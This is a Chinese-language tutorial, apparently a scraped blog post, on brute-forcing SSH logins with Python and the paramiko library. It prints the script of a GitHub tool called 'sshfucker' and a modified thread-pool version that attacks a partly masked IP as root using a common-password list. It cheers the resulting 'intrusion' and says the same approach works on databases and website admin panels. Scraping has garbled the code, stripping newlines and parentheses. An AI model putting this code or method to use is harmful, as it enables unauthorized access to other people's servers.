手把手教你用Python进行SSH暴力破解

暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举 。
现在也有很多流行的破解软件,不过个人觉得装上kail其实也就啥都有了,但是今天我们不说他们,今天主题是如何使用Python来进行SSH的暴力破解 。

手把手教你用Python进行SSH暴力破解

文章插图
在Github上有一个库叫sshfucker,专门用于 SSH 的暴力破解 。
https://github.com/TheKingOfDuck/sshfucker
这个模块很简单,代码实现不到70行,只封装了一个py文件 。
# !/usr/bin/python python# -*- coding: utf-8 -*-import paramiko, threading, sys, time, osclass SSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):threading.Thread.__init__(self)self.ip = ipself.port = portself.dict = dicself.timeout = timeoutself.LogFile = LogFiledef run(self):print("Start try ssh => %s" % self.ip)username = "root"try:password = open(self.dict).read.split('n')except:print("Open dict file `%s` error" % self.dict)exit(1)for pwd in password:try:ssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("nIP => %s, Login %s => %s n" % (self.ip, username, pwd))open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s n" % (time.asctime(time.localtime(time.time)), self.ip, self.port, username, pwd))breakexcept:print("IP => %s, Error %s => %s" % (self.ip, username, pwd))passdef ViolenceSSH(ip, port, timeout, dic, LogFile):ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)ssh_scan.startdef main(ipFile, dic, log):if ipFile == "-h":helptry:ipText = open(ipFile).read.split('n')for ip in ipText:if ip != '':time.sleep(0.5)threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).startexcept:print("Open IP list file `%s` error" % ipFile)exit(1)def help:print("python ssh.scan.py :n修改dict下的ip文件,password按需求修改,然后执行脚本 。n")exit(1)if __name__ == '__main__':fpath = os.path.dirname(os.path.abspath('__file__'))ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"try:os.system("clear")main(ipFile, dic, log)except KeyboardInterrupt:exit(1)我们可以明显的看到,这个模块依赖于 Paramiko
Paramiko 是用于建立 SSH2 连接(客户端或服务器)的库,基于Python实现 。重点是使用 SSH2 作为 SSL 的替代方法,以在 Python 脚本之间建立安全连接 。支持所有主要密码和哈希方法 。也支持 SFTP 客户端和服务器模式 。
Paramiko 库在Python自动化运维领域很受推崇 。
pip install paramiko然后我们还可以看到这个模块实际上就是利用 Paramiko 建立了 ssh 的客户端连接,批量导入文件,采用多线程的方式来进行暴力破解,思路很清晰 。
我们修改代码实现如下
import sysimport paramikoimport threadingfrom concurrent.futures import ThreadPoolExecutorssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)is_find=Falsedef SshCheck(password):try:ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)stdin, stdout, stderr = ssh.exec_command('df')result = stdout.readif result:sys.stdout.write('[OK]' + 't' + password + 'n')global is_findis_find = Trueexitexcept Exception as e:print(e, "失败!!!")finally:ssh.closefiledata = https://www.isolves.com/it/aq/wl/2020-09-04/open("pwds.txt", "r")def run:pool = ThreadPoolExecutor(3)while 1:global is_findif is_find:breakline = filedata.readlineif not line:breakline = line.strip("n")pool.submit(SshCheck,line)run采用了协程并发来进行ssh连接,如果成功破解我们就直接退出 。
这里的pwds.txt 文件用于存放破解密码 。
password123456123456781234qwerty12345dragonpussybaseballfootballletmeinmonkey696969abc123mustangmichaelshadowmasterjennifer1111112000jordan......python sshfucker.py回车键一按,叮叮,收到服务器被入侵的短信!!!
手把手教你用Python进行SSH暴力破解

文章插图
【手把手教你用Python进行SSH暴力破解】你也可以用你的云服务器或者自己搭建的服务器进行测试,只要 ssh验证的ip,端口和密码正确,即破解成功 。
破解一直爽,一直破解一直爽,利用Python不仅可以对ssh进行暴力破解,数据库,网站后台管理也是同样的道理,只不过使用的库不同而已 。


推荐阅读